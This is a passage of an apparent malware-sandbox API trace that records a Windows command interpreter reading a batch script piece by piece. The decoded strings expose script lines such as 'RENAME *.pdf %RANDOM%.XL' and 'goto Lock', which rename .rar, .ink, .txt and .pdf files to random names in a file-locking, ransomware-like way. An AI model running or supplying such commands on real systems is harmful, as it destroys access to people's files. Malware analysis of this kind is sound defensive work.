out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] GetFileType (hFile=0x74) returned 0x1 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0038.476] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=4684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0038.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0038.477] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0038.477] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.477] GetFileType (hFile=0x74) returned 0x1 [0038.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0038.477] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=4686, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0038.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.477] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0038.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.478] GetFileType (hFile=0x74) returned 0x1 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0038.478] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=4692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0038.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0038.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0038.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.478] GetFileType (hFile=0x74) returned 0x1 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0038.478] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=4694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0038.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0038.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0038.479] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.479] GetFileType (hFile=0x74) returned 0x1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0038.479] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=4720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0038.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0038.479] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0038.479] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.479] GetFileType (hFile=0x74) returned 0x1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0038.479] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=4722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0038.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0038.479] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0038.479] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.479] GetFileType (hFile=0x74) returned 0x1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0038.479] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.479] SetFilePointer (in: hFile=0x74, lDistanceToMove=4733, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0038.480] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] GetFileType (hFile=0x74) returned 0x1 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0038.480] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0038.480] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] GetFileType (hFile=0x74) returned 0x1 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0038.480] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=4741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0038.480] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0038.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.480] GetFileType (hFile=0x74) returned 0x1 [0038.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0038.481] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=4743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0038.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] GetFileType (hFile=0x74) returned 0x1 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0038.481] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=4769, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0038.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] GetFileType (hFile=0x74) returned 0x1 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0038.481] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=4780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0038.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0038.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.481] GetFileType (hFile=0x74) returned 0x1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0038.482] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=4782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0038.482] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0038.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.482] GetFileType (hFile=0x74) returned 0x1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0038.482] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=4788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0038.482] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0038.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0038.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.482] GetFileType (hFile=0x74) returned 0x1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0038.482] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=4790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0038.482] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0038.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0038.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.483] GetFileType (hFile=0x74) returned 0x1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0038.483] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=4816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0038.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0038.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0038.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.483] GetFileType (hFile=0x74) returned 0x1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0038.483] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=4827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0038.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0038.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0038.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.483] GetFileType (hFile=0x74) returned 0x1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0038.483] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=4829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0038.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] GetFileType (hFile=0x74) returned 0x1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0038.484] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=4835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0038.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] GetFileType (hFile=0x74) returned 0x1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0038.484] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0038.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0038.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.484] GetFileType (hFile=0x74) returned 0x1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0038.484] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=4863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0038.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] GetFileType (hFile=0x74) returned 0x1 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0038.485] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0038.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] GetFileType (hFile=0x74) returned 0x1 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0038.485] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=4876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0038.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0038.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.485] GetFileType (hFile=0x74) returned 0x1 [0038.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 